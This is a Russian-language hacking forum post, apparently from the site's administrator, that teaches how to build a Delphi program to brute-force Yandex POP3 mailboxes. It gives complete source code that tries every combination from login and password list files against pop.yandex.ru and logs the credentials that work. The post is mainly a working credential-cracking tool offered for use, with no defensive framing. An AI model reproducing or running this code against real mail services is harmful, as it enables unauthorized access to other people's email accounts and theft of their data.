• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Будем писать самый простой брут POP почтовика yandex.ru(можно любой).

Lomanu4 Оффлайн

Lomanu4

Команда форума
Администратор
Сообщения
1,151
Симпатии
222
Баллы
155
VK

Программа будет работать со списком логинов и паролей из файлов logins.txt и passwords.txt Для работы будем использовать компоненты: Три Button с вкладки Standart Два Edit с вкладки Standart Memo с вкладки Standart OpenDialog с вкладки Dialogs IdPOP3 с вкладки Indy Clients IdAntiFreeze с вкладки Indy Misc С
начала настроем IdPOP3:
Autologin=true
Host=pop.yandex.ru
port=110
Код кнопки "Пуск":
Код:
procedure TForm4.Button1Click(Sender: TObject); var Login, Pass: TStrings; l, p: Integer; begin if Edit1.Text='' then Exit; if Edit2.Text='' then Exit; Login:=TStringList.Create; Pass:=TStringList.Create; Login.LoadFromFile(Edit1.Text); Pass.LoadFromFile(Edit2.Text); for l:=0 to Login.Count-1 do for p:=0 to Pass.Count-1 do begin IdPOP31.Username := Login.Strings[l]; IdPOP31.Password := Pass.Strings[p]; try IdPOP31.Connect; except end; if IdPOP31.Connected then begin Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); IdPOP31.Disconnect; end; end; Login.Free; Pass.Free; end;
Код кнопок выбора файлов logins.txt и passwords.txt:

Код:
procedure TForm4.Button2Click(Sender: TObject); begin if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName; end; procedure TForm4.Button3Click(Sender: TObject); begin if OpenDialog1.Execute then Edit2.Text:=OpenDialog1.FileName; end;
Код полностью:

Код:
unit Unit4;
 interface 
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdPOP3, StdCtrls;
 type TForm4 = class(TForm) 
Button1: TButton; 
Label1: TLabel; 
Label2: TLabel;
 IdPOP31: TIdPOP3; 
IdAntiFreeze1: TIdAntiFreeze; 
Edit1: TEdit; 
Edit2: TEdit; 
Memo1: TMemo;
 OpenDialog1: TOpenDialog; 
Button2: TButton;
 Button3: TButton;
 procedure Button1Click(Sender: TObject);
 procedure Button2Click(Sender: TObject);
 procedure Button3Click(Sender: TObject); 
private { Private declarations }
 public { Public declarations } 
end; 
var Form4: TForm4;
 implementation 
{$R *.dfm}
 procedure TForm4.Button1Click(Sender: TObject); 
var 
Login, Pass: TStrings; 
l, p: Integer; 
begin if Edit1.Text='' then Exit;
 if Edit2.Text='' then Exit;
 Login:=TStringList.Create;
 Pass:=TStringList.Create;
 Login.LoadFromFile(Edit1.Text); 
Pass.LoadFromFile(Edit2.Text);
 for l:=0 to Login.Count-1 do
 for p:=0 to Pass.Count-1 do 
begin IdPOP31.Username := Login.Strings[l];
 IdPOP31.Password := Pass.Strings[p];
 try IdPOP31.Connect; except end; 
if IdPOP31.Connected then
 begin Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); IdPOP31.Disconnect; end;
 end; 
Login.Free;
 Pass.Free; 
end;
 procedure TForm4.Button2Click(Sender: TObject); 
begin
 if OpenDialog1.Execute then 
Edit1.Text:=OpenDialog1.FileName; 
end; 
procedure TForm4.Button3Click(Sender: TObject);
 begin if OpenDialog1.Execute then
 Edit2.Text:=OpenDialog1.FileName; 
end; 
end.
 
Вверх Снизу